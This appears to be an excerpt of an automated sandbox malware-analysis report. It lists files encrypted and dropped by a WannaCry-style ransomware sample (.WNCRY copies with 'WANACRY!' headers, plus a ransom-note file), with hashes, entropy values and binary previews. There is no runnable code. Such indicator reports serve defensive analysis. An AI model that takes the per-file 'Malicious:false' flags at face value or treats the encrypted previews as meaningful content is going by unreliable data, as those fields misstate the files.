                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.811766860683209
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:XlK7/osi85KdrZD336OSrT+eTI+blRGvL2caE+7N:Vuosi8kLqPLIAcxCN
                                                                                                                                                                              MD5:F6A423ED7F37DF49FD72CE4C1D42DA16
                                                                                                                                                                              SHA1:D9FCFBEF38D9137196E46E3D856CC9C9B6323D5A
                                                                                                                                                                              SHA-256:6B50F9FC081C9D8BD9488CFF3D9E89B0166B2CE93E0CE9250E73136EEE4F161C
                                                                                                                                                                              SHA-512:84353CE009D38FDB0FA1B539264F68AE49A695E64F5C84CE7048F1BC91B821D37D8BB14D926FF397961E8309008049BF60EA6AFC05E4DC9F0298B1E0643957B8
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:j...........~qI...i.iD..WLqRB...(^.6..b.N.f`BK.d..r...P(..fl}r.I.ov..'.^.p`.g.... ..Xy.\W.|..U.`Z...V..O...'....?.v'x..E....`6...cH...UM[....7s.<...T,..`8.L.}.;o.l....p.;Ij....sdJ..b..@..*.O....Zj.S......6...Q.fU...*.D......R3?Z...&N.O..)....E.&S.w.OG_..Z....M,..O/.E...}..l'..xF.v.....<:....c...6.0.i..IM-.F7...W...n....u}.?L..e..s..........u.Q....F.....%....m-...e...m".p......}J~.......$....#.D.H.@U.....w._.....U..55)..s@.9...d..........9..........vqV..[..d\..[...5....;A,.S......|..(...Vc.....6.....8.b......s1..l...l..C\Z..f.......Y.M.ias..H....L.]......(..*q..e.0N..(v.3...Kx..P...{B;...........i...Q.....w.ai5tI*.K.,Y.....nV.... |..%..=.BN.G.........."...IMLA.$.D.....//.......;@G..x..@........~...B...<...../v..voe.X..8Y..F.4~..@....u+s......D..0.-.K..=...k....r...U._:....k.8.m....|.........3{......rq....>..C0...H.p./]r...6. .R>."..tBl*/....6.*i....V.->.\.io..)........../.u.ar._..b(...9:.b.....|.%..'{!..o..8..... ..M..%.e.q.- `

                                                                                                                                                                              C:\Users\user\Documents\PALRGUCVEH.jpg.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.842802721064112
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk2j504qQw28GMyjQJf4oyiyfz5edxa3usGM/RBwl:bkg+2qUQ/qedU3zVTU
                                                                                                                                                                              MD5:7BF4EECBAF319A75EB3D7A5245FF0BF7
                                                                                                                                                                              SHA1:19BA97F2FBA7644DE6B3C18ADB7352A6AF9EB27E
                                                                                                                                                                              SHA-256:20144376EC2E50B29C3985C7FB0C26A52C9060D8994B1967D8D2811506E9E185
                                                                                                                                                                              SHA-512:0AC2CA840FAF2A6D43D474C69B31579B28D338DB03F8918DDB6721988CF1CF09175D36BB68BA5F59B2B842E7762EF8FD8F89EF584A51A63C7968F40C5FE57CB3
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....wU.|dI[,..4".\.=.....7.......I3...(.".L.UJV...H..O.0.M..W......P.J.qg....{%.[.g...U.B.../..k.............qh...V......u.~`..>0l..Z.w&.H...:....L..H..d..;..w.._.7....=f.. ...BO..oY....$.U....{J.k..03..j..9....-.^..z;..G.=.9Q.'Be..t@....................o._\oq........H..B1VN...q...C..rN9...|.....@.R..i.4.....\W....{....m..+..=...../.%..k......W.HI..^e.U.........\...$0C.....s.3c......../..t.........:.}......v....C.jRYk....g!?..Z..hN%...rt..+<.]hB..>.J...&c....4........'Rmd..&..x...#.....<..a\:..Y.rA:.L.Rd...k.Z..eWH,..;rzC.n..[\..=......s...w....S_F.a.lV...Iu..pSF.b......o4aV..M..w..LG.&....k.x....PtM.......X:...^0D...>..0:.._..X.f...P.]4i.A..?-rqw...U.R.....?-.C.gy.x..S .....U...B.z1..O.I,#].._.8).. .;a...........;.m..&.8R.L.2..2..&.....$xG8...H)...d.....cC..j^..G.6$4...\.p.r.;...b..W_...BO.7aU...=..LC.j....*.G..L...JV...O6....4..x H..O.BB.}....O.}B../~.+..!.#...M....... .\[....:.di.j._'HJr...!.y.......B..0G...G..DY

                                                                                                                                                                              C:\Users\user\Documents\PALRGUCVEH.jpg.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.842802721064112
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk2j504qQw28GMyjQJf4oyiyfz5edxa3usGM/RBwl:bkg+2qUQ/qedU3zVTU
                                                                                                                                                                              MD5:7BF4EECBAF319A75EB3D7A5245FF0BF7
                                                                                                                                                                              SHA1:19BA97F2FBA7644DE6B3C18ADB7352A6AF9EB27E
                                                                                                                                                                              SHA-256:20144376EC2E50B29C3985C7FB0C26A52C9060D8994B1967D8D2811506E9E185
                                                                                                                                                                              SHA-512:0AC2CA840FAF2A6D43D474C69B31579B28D338DB03F8918DDB6721988CF1CF09175D36BB68BA5F59B2B842E7762EF8FD8F89EF584A51A63C7968F40C5FE57CB3
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....wU.|dI[,..4".\.=.....7.......I3...(.".L.UJV...H..O.0.M..W......P.J.qg....{%.[.g...U.B.../..k.............qh...V......u.~`..>0l..Z.w&.H...:....L..H..d..;..w.._.7....=f.. ...BO..oY....$.U....{J.k..03..j..9....-.^..z;..G.=.9Q.'Be..t@....................o._\oq........H..B1VN...q...C..rN9...|.....@.R..i.4.....\W....{....m..+..=...../.%..k......W.HI..^e.U.........\...$0C.....s.3c......../..t.........:.}......v....C.jRYk....g!?..Z..hN%...rt..+<.]hB..>.J...&c....4........'Rmd..&..x...#.....<..a\:..Y.rA:.L.Rd...k.Z..eWH,..;rzC.n..[\..=......s...w....S_F.a.lV...Iu..pSF.b......o4aV..M..w..LG.&....k.x....PtM.......X:...^0D...>..0:.._..X.f...P.]4i.A..?-rqw...U.R.....?-.C.gy.x..S .....U...B.z1..O.I,#].._.8).. .;a...........;.m..&.8R.L.2..2..&.....$xG8...H)...d.....cC..j^..G.6$4...\.p.r.;...b..W_...BO.7aU...=..LC.j....*.G..L...JV...O6....4..x H..O.BB.}....O.}B../~.+..!.#...M....... .\[....:.di.j._'HJr...!.y.......B..0G...G..DY

                                                                                                                                                                              C:\Users\user\Documents\PALRGUCVEH.xlsx

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.831306858044818
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:rYVljPWPoC0z8emmjtKEjtWGpGtd5iIkltojp:MrzWJ0z8elwE49tXiIkYp
                                                                                                                                                                              MD5:25CBB18AEE798E0FA629EE366DD8D128
                                                                                                                                                                              SHA1:964B0B3F85E1CCFF2C116C85B4452019297EA487
                                                                                                                                                                              SHA-256:B74DD9F6F802CAB2B23226829A77636D7BDE7DC964C62F94542E37C2FF3C41C8
                                                                                                                                                                              SHA-512:B56C2B99A396EFB444BB0E83BF27C7C0948924FA920A41EDF72651D73DCAE23F8BF16B813BDAFD2F930123311D44F2C775874BB546AB5E1BAA16E97480965EE3
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:.=B.....6*J..Y}.....UT3;.....*7...52..QO..1..>Ak.E.....S.<.K...../.xsm...h.5..P...K.......%..U.#....r.&.....?..R.XN4......."T.r...0..%v......h{.....|:I&.;......QB.....A...9...g.|+..{9..4&D8aY..).sf..-.l.7.d....k.;.V*.Sr.Q...!....$.I...!.%.>.......N..).<'.d..U`AL.r...PJVVK.N.7.U.9..R..k7#.[..z.m6Xu......9.]O..nh1W...4....pS.i+*.u.l|_.............`..`Nq....8p0..v+.C....4B.s...W@oND.V.l%...ok....?y$.7..&.W....p/.w;-H7..G<..X2.a..!..J.`.z*..N.h.$\.f.i.0.D....B&.m.".I.f...0.*...E. ...j.k]SI=.G.....BE[....<..a~....:6....5...v.......y......N..Q!E{|X.^....#..&.....=.....W.$..+...#._-amB.[..4Q8H%-..i.y.]..p.R.xB......P ...o.S..g....3F..uK..%.^.._.JY}.T.!\Q.6#,g....,.Y.X.E..}.......J.%.:u.P..&..^.....4.&..`.K?.#..l....:.I..L..}.....Nq[..9..@...qs..XZ.h./.Z~...7...R.Y.o......5!...p...l(Ul?....L^.z.B.yZ.]..........JQ..|%..............x.V.M...w9UR\......H..].]..C....i],0C}.-~x..M.Q.Y.Z .....z..I.@.xAGtK...`?x...._d.g] .............d_......LNr..;<.

                                                                                                                                                                              C:\Users\user\Documents\PALRGUCVEH.xlsx.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.854581246846501
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkkxVUCr+iRRNHrjNpfCKGKnulbmbq+0422Cwlf1zRMu2vRuhQZm8uMMGUDH6ZCY:bkOSC/RnLDf/GAUGq+048u9zRMu2ZtZ1
                                                                                                                                                                              MD5:EB8C5095C9EB5FB73827489B5251BA96
                                                                                                                                                                              SHA1:4A507709E51ABE06E6B17F84D9B7F6A928D147F6
                                                                                                                                                                              SHA-256:46E25EC1F11DE2B5370DE7E2988EF24B3B361191D9C64E84F18583B47FCCB018
                                                                                                                                                                              SHA-512:B88FA079E0E72940652F31638371A413D3E1F61FB94D10DFF68E1D67F00AF715C9C1E7FAB36AB328ECA33A8833F4BBA7C7D5C88485221F2F888E90163C150DC4
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....2...,..}......H........ ..U..i..L.......j;.;....!O~9f...x..>+n...r)\].........6{..&C(.D9:...Q.~Ib....A..c.....?......AN.......l}.:..GF.&.U.%...BDo.#..s..n<&6p}=k.6....9.H.i,.....i.P.\..Z...>....xx.Eq....u'..1...v$..h..E'.._....,:r.S.?fi.s.v9...............F.k.cWU.E...^..Z...X.i..|..C...h.2.....>....{]...`Z...T.....\.N..Wup4.M.....!..wa..y0y....]* mi.\8..?....4..$.iB....ZQ.........A....i0.c..;...<t;.....f...mw.)9pSG...x.}..&.vC.%\)[d..c..M.j.._<C`d.\..N`...LH...3c-u..q...M.!*_..m%..F>.|.....Z.?.l.,..{Bd.$L8$#...|..p..:..B.)..0..[P..7.B.r1....C&..r.q~kQ.X.<....I,...........1..2...k...T..hea.@I..6.h..c.y.J..j^....;..p..sh.k)a.......".3P....R...d....g!.$.....Ld...&.R.m..{..D..6ub....\7.)...J...!..:.0.....u...<9..D..\...;!.#..8.....lN'....w...$.#.ZO...Q7..eg.>%.b./..h..7..H.I....yy.....?O.}+..L.Z4B..=..;."...MR....D...9.o:y..R.`....+K....R.........R.VF.I.-.c1..I.*.p8l...>..;+.ac ...%...I.h[i...Qb.ig&.\.]R.EVn..O3.......1..b...x....P

                                                                                                                                                                              C:\Users\user\Documents\PALRGUCVEH.xlsx.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.854581246846501
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkkxVUCr+iRRNHrjNpfCKGKnulbmbq+0422Cwlf1zRMu2vRuhQZm8uMMGUDH6ZCY:bkOSC/RnLDf/GAUGq+048u9zRMu2ZtZ1
                                                                                                                                                                              MD5:EB8C5095C9EB5FB73827489B5251BA96
                                                                                                                                                                              SHA1:4A507709E51ABE06E6B17F84D9B7F6A928D147F6
                                                                                                                                                                              SHA-256:46E25EC1F11DE2B5370DE7E2988EF24B3B361191D9C64E84F18583B47FCCB018
                                                                                                                                                                              SHA-512:B88FA079E0E72940652F31638371A413D3E1F61FB94D10DFF68E1D67F00AF715C9C1E7FAB36AB328ECA33A8833F4BBA7C7D5C88485221F2F888E90163C150DC4
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....2...,..}......H........ ..U..i..L.......j;.;....!O~9f...x..>+n...r)\].........6{..&C(.D9:...Q.~Ib....A..c.....?......AN.......l}.:..GF.&.U.%...BDo.#..s..n<&6p}=k.6....9.H.i,.....i.P.\..Z...>....xx.Eq....u'..1...v$..h..E'.._....,:r.S.?fi.s.v9...............F.k.cWU.E...^..Z...X.i..|..C...h.2.....>....{]...`Z...T.....\.N..Wup4.M.....!..wa..y0y....]* mi.\8..?....4..$.iB....ZQ.........A....i0.c..;...<t;.....f...mw.)9pSG...x.}..&.vC.%\)[d..c..M.j.._<C`d.\..N`...LH...3c-u..q...M.!*_..m%..F>.|.....Z.?.l.,..{Bd.$L8$#...|..p..:..B.)..0..[P..7.B.r1....C&..r.q~kQ.X.<....I,...........1..2...k...T..hea.@I..6.h..c.y.J..j^....;..p..sh.k)a.......".3P....R...d....g!.$.....Ld...&.R.m..{..D..6ub....\7.)...J...!..:.0.....u...<9..D..\...;!.#..8.....lN'....w...$.#.ZO...Q7..eg.>%.b./..h..7..H.I....yy.....?O.}+..L.Z4B..=..;."...MR....D...9.o:y..R.`....+K....R.........R.VF.I.-.c1..I.*.p8l...>..;+.ac ...%...I.h[i...Qb.ig&.\.]R.EVn..O3.......1..b...x....P

                                                                                                                                                                              C:\Users\user\Documents\TQDFJHPUIU.jpg

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.78652385720319
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:235wYaJ3O6XH6u7DR9agZCfeWghFgKBecCu1hBkhx6UaU:KCYaau7NsqJ79tBkhjaU
                                                                                                                                                                              MD5:7748ACA3776F949793B868680A8B4210
                                                                                                                                                                              SHA1:C5CDDAA2373260C563DAE26040CE7680A9C1648D
                                                                                                                                                                              SHA-256:7E23393CD6EA06BB6B6FB83B93E4CD6207A116F2C808BA30059D2B0996C5B23A
                                                                                                                                                                              SHA-512:C83AD9AAE6180FF7CA7A3210E6D1512E056BA8064590BFDD674823D77A51DB4C955961A58C1B1E606B3CC5ADD2897C3E2EF6297937B4BDE6B4313D49245B714C
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:.....K.^... . <.4..sh...KT....sG.,6(.....N..RTb.W.O...7J.J=e.}.q...kM .-..al..b.6...a&b.O=.ESY>.B.+.x.......ef6..Es...[.P,....*....yf%."-S..p..(.Z?.&6.......-LD..Q.t.Dc..e."....J..1k.."V.."..b|.`.z1p.I(.T.*.u2..?.UW......2...;.r).wi....7.r....:<-k.S'..w.m5q_.(".#Z..a.@b......h....'.$.!...%?M~G.}b(...=_9...].X.t@._.E/..,....w.,..)..$.q...t....Qlv..Ou-"..... ?...<.....VoF.B.9AV...O.k.X,.4...m...Y...9'>..#:.U..E.t......^Lu|....(...h.A....vt....\R...TgT.$G....$z.pGjt].....K...>...b.,.m.7.v....$.7(.".hi{g.~...F<.Z.u%^.".3.5.).3.r$...[.E..B....v)P 6..$;.).@iB....N..]...d.p@za..e.P%...p.Z.}G._C..m.%..`....pS...m..%......ap.S.3.^..z...$9U4.;>.$.@.....T5..q.b..-....4..@.T.oRW....v..^T.+..9s......7;,.$..S7.O..2.[ED......z.].fBE. .Q..c......7T.v....7\.b</....9d..y.LHV.(;...Q..!.H4^1.-..4........g.o>.....S..q!.........4a.(....c...MB(..)s.y......>znv.....$.?....X'....n..VS..5..3...6.2...\.o?...q.EWy.+.......f...o.\.W.G...?.U...v.}..8.....m.1@.+n...N@.

                                                                                                                                                                              C:\Users\user\Documents\TQDFJHPUIU.jpg.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.845945864764526
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkFp5xTr0NpFX0P1tj8s81BAmfbUAGg0yWErQtcri1TTR751aoHJlbIxmIaJXtqh:bkFnxTrsgP1eTqiYAGglrQh1nLJXIxmo
                                                                                                                                                                              MD5:106485C9619D87A703F8546C652CAB11
                                                                                                                                                                              SHA1:9D8955149941CFF38B0D9B1AE81C3EB53DAF731A
                                                                                                                                                                              SHA-256:A330FD5CE3DB5ABA243580A79DC3310AF76F5698A113DA8AFBE0E37B7A392EC8
                                                                                                                                                                              SHA-512:AC205F58DD5B2EB41B5B838645ABBDEC3300B52428651389528F553C617692FB9BD8344A5311A00490572D73DA236DBF070C67DD1DCAA151365C147436DA06F4
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!........|+A..$:) U....G...`."../NF.Gb.\eV..\.......H8.>vG.^v..M.)...k3..e.>........].....i..........y....w..m..k...5t/J.;[....]Km...n2.O"*j.7.o..s.b.8FQ.t`.o.3i.}.-.>....y.*.t..[.K..X;.b..N..D.+.......m.`Y./....w........45..|\...P...../.P..]..*Q^..]V..............'<..1.<".dg.By...NM....o.~/M...sn.KL....w...'.2./...M..p.V......4. cK..%.. .t.n.ly..z..s^.U/.L.y..Y.Q.O..m...@...9.-$KY.,.^o.S?........L..V.V.%.w ..].>.wo"....]..e.g...}.'..,Y...o...C<..w.f6.E......[B...L.Ff\.....~G.O`o.*.O.h.R.A8.........s.Y...f.e.Ne..V....~.........$.i...e..c....Z......k%...D.|o.`..zRxk.}..l......fm....B..n.\.j}1..Jr.......d.`2.....P..S.... ..s;<.A.X.w.BL...aV...j.R."..5.A47y@.+(..Y....2Y..i....E.G..*}.[.-_....I..,.iRc.D.....ub..#t8....p..J.....E..!I.Q.q.1{...t..N.G}.G..._.>..Pon.q.l.f.6H}.... ...x[.........u.j...wg...m.......k}..`..W.Mu5v...S.p=.7.v...4..{7..74..b...S.......z...VaO.......(.=....C......x..0e9..f.&..t..n|y...^......&...`$V.....].$..\jE.f.xf...3...`

                                                                                                                                                                              C:\Users\user\Documents\TQDFJHPUIU.jpg.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.845945864764526
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkFp5xTr0NpFX0P1tj8s81BAmfbUAGg0yWErQtcri1TTR751aoHJlbIxmIaJXtqh:bkFnxTrsgP1eTqiYAGglrQh1nLJXIxmo
                                                                                                                                                                              MD5:106485C9619D87A703F8546C652CAB11
                                                                                                                                                                              SHA1:9D8955149941CFF38B0D9B1AE81C3EB53DAF731A
                                                                                                                                                                              SHA-256:A330FD5CE3DB5ABA243580A79DC3310AF76F5698A113DA8AFBE0E37B7A392EC8
                                                                                                                                                                              SHA-512:AC205F58DD5B2EB41B5B838645ABBDEC3300B52428651389528F553C617692FB9BD8344A5311A00490572D73DA236DBF070C67DD1DCAA151365C147436DA06F4
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!........|+A..$:) U....G...`."../NF.Gb.\eV..\.......H8.>vG.^v..M.)...k3..e.>........].....i..........y....w..m..k...5t/J.;[....]Km...n2.O"*j.7.o..s.b.8FQ.t`.o.3i.}.-.>....y.*.t..[.K..X;.b..N..D.+.......m.`Y./....w........45..|\...P...../.P..]..*Q^..]V..............'<..1.<".dg.By...NM....o.~/M...sn.KL....w...'.2./...M..p.V......4. cK..%.. .t.n.ly..z..s^.U/.L.y..Y.Q.O..m...@...9.-$KY.,.^o.S?........L..V.V.%.w ..].>.wo"....]..e.g...}.'..,Y...o...C<..w.f6.E......[B...L.Ff\.....~G.O`o.*.O.h.R.A8.........s.Y...f.e.Ne..V....~.........$.i...e..c....Z......k%...D.|o.`..zRxk.}..l......fm....B..n.\.j}1..Jr.......d.`2.....P..S.... ..s;<.A.X.w.BL...aV...j.R."..5.A47y@.+(..Y....2Y..i....E.G..*}.[.-_....I..,.iRc.D.....ub..#t8....p..J.....E..!I.Q.q.1{...t..N.G}.G..._.>..Pon.q.l.f.6H}.... ...x[.........u.j...wg...m.......k}..`..W.Mu5v...S.p=.7.v...4..{7..74..b...S.......z...VaO.......(.=....C......x..0e9..f.&..t..n|y...^......&...`$V.....].$..\jE.f.xf...3...`

                                                                                                                                                                              C:\Users\user\Documents\TQDFJHPUIU.mp3

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.829817703909909
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:2UZLGTGVeWl9EwHWZGmjpqlbztHVg90gtrcDSfVfpaOEXdlFESPqpSMR:kTGVuwHWcgqJZH290gtrcD+WNdlFEiMR
                                                                                                                                                                              MD5:E8258E6AB184D8F432A1BD14A0584D30
                                                                                                                                                                              SHA1:919637773B4AD8363B0AD0BEF05A91D28D3EA167
                                                                                                                                                                              SHA-256:CE187D96106D1FBF9F6CDE6B9A24E81AA6C17B4191EA74621E18E74DCF411609
                                                                                                                                                                              SHA-512:C97A54C3CB3FCCFB3366E4C16F9ACB0FBF70E211779EB68FE6DF428A654A95CC0878BEBBD6E22AE2B001B7F26609D44C3B3CC36C145675EFB7B127A96D51B199
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:b..a...)Y.B....J.5...U.P.bWt........q.....0....d.n....yp4...D^V...... u..V;U.@.. .#7y..NG.(..._..a..........Pu...j..............3..A......F..T..Z.\..._....#...Dt..K.......P.OV.....d.\..W...6`..aNG_.. ....Wp.h.}...&$~2'.. ....u.G_^e.n..(....I....Q.1C..........Q....*.....#...6.f&.>${Fz.pI...s..<..X.Z.F:..,...h.S8.Pk...Q.DA...d.Y?.=n&..N..*Ct..4-cIS...3....x.O..=..:).;......v.>....(.!h.#.....\6w.*....l.(......_^...P$...[......V1.D.IS..R....n..?....+........f.d.%;p.Lk.+4y>.Y.p..mP`.<....ms.......$._+i.......8U+.Mw..>;$&q....A..Y..c.4.(...c...0.8~o...4...e.I.Kw&.:Rku...GR/..A{r.R..qJ'.bg1..........g....L....$......j...R8I_....%...a.S._...,....ib..L|.2.=V..Q.%}.D...2&..D.c..-.-/.~....!.....OD##.+..S.N..}..W*.J..Z..P.^....9.._@.....C.t$.....?....w....O.U....F...B....5_/.k...r.@.2w..../M.......E.p<.o.J.n..i...w._....yh...;..v..<.S.`x..........{...J..R.....S..dt..n .....S.<.9.w..Z.wF..\m+..0.E..H.J.3.q.....,.m......"..".k.....T.D]..l...3.H..

                                                                                                                                                                              C:\Users\user\Documents\TQDFJHPUIU.mp3.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.857899222186059
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkO5kEBKEhbrMD2l8AlNeQPB/N06N65dro5S85NBEwYO:bkIvlr82lNeQpJ6bDoEBO
                                                                                                                                                                              MD5:BE3ABB8D7909EF038CF1FB604F7DAFC5
                                                                                                                                                                              SHA1:52245FB437A6943304527AC5AF796300783877DA
                                                                                                                                                                              SHA-256:F891C60E414AFB296840B141B9FF19825BF4B08D8A5316406F7F28147DD0AF8C
                                                                                                                                                                              SHA-512:93CA83F53BBD6B55E61DE16ED8DE27B7C1D4858B8D7EC8A7B1AFD111E4F783DAA3BA6BA8F1A26765B71268AE373893276BE8504A57F49F57F05C236388E0C280
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......=...)".v.)N.N.v.YD...3./......=..HV...*..P.....e$..V6A..<z...~?.....OcV.......~T...V|...b..i.b.w/.q.M...<.5.uB.=.Qhr.....a...bpt$E.|..w&.....E>.K..YHfn<..e%.......2a...#.<..a..(... ..b.... .7n...h...T...4.q.i`.%8aY.f..*.Z....d_.p..r.2.A.`<..................L....P..B"2I..b....@.j. |...}.T..+.{...zl..../.P...:-.\.:....#...6..h.F..j.^..../:,..G.Ux...^........(.SJ..;....+v..kC[:fq0..F...W.....o..-........c.5[../..Gt...0.K...U.p....G.u.N.#.......h../.Yd..{"R}.+.M~....17&.w>....0.%.z.....{.6..s.M.........b......Onr5".....]...6..O.Q.D......J....U*4U.t..|.k..5...........:Q.v........A...e..oAV........3.w|......V. ]3..+....... ...Q./..E...j..Jl['....X.......r..w9.....H..{.../xX,.ApN......3...67S.@....7@...,t.n.......`..V...4.:.cVZB..>F.u}y.N.A>1x.J).Yv(]N.Q.oM..}...3..4Ab.>.?.'uk.-........'.y..c[.TT$x.f...2....g.. .<q.l.g..I..U.+.kB.&..yO.L.L.c..kO....O..p...g.......... e.#....{nW..t$.Q....&sK..)...t..d.v..t...*4Q..@w.AR7.(G...

                                                                                                                                                                              C:\Users\user\Documents\TQDFJHPUIU.mp3.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.857899222186059
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkO5kEBKEhbrMD2l8AlNeQPB/N06N65dro5S85NBEwYO:bkIvlr82lNeQpJ6bDoEBO
                                                                                                                                                                              MD5:BE3ABB8D7909EF038CF1FB604F7DAFC5
                                                                                                                                                                              SHA1:52245FB437A6943304527AC5AF796300783877DA
                                                                                                                                                                              SHA-256:F891C60E414AFB296840B141B9FF19825BF4B08D8A5316406F7F28147DD0AF8C
                                                                                                                                                                              SHA-512:93CA83F53BBD6B55E61DE16ED8DE27B7C1D4858B8D7EC8A7B1AFD111E4F783DAA3BA6BA8F1A26765B71268AE373893276BE8504A57F49F57F05C236388E0C280
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......=...)".v.)N.N.v.YD...3./......=..HV...*..P.....e$..V6A..<z...~?.....OcV.......~T...V|...b..i.b.w/.q.M...<.5.uB.=.Qhr.....a...bpt$E.|..w&.....E>.K..YHfn<..e%.......2a...#.<..a..(... ..b.... .7n...h...T...4.q.i`.%8aY.f..*.Z....d_.p..r.2.A.`<..................L....P..B"2I..b....@.j. |...}.T..+.{...zl..../.P...:-.\.:....#...6..h.F..j.^..../:,..G.Ux...^........(.SJ..;....+v..kC[:fq0..F...W.....o..-........c.5[../..Gt...0.K...U.p....G.u.N.#.......h../.Yd..{"R}.+.M~....17&.w>....0.%.z.....{.6..s.M.........b......Onr5".....]...6..O.Q.D......J....U*4U.t..|.k..5...........:Q.v........A...e..oAV........3.w|......V. ]3..+....... ...Q./..E...j..Jl['....X.......r..w9.....H..{.../xX,.ApN......3...67S.@....7@...,t.n.......`..V...4.:.cVZB..>F.u}y.N.A>1x.J).Yv(]N.Q.oM..}...3..4Ab.>.?.'uk.-........'.y..c[.TT$x.f...2....g.. .<q.l.g..I..U.+.kB.&..yO.L.L.c..kO....O..p...g.......... e.#....{nW..t$.Q....&sK..)...t..d.v..t...*4Q..@w.AR7.(G...

                                                                                                                                                                              C:\Users\user\Downloads\@Please_Read_Me@.txt

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):933
                                                                                                                                                                              Entropy (8bit):4.708686542546707
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                                                                                                                                                              MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                                                                                                                                                              SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                                                                                                                                                              SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
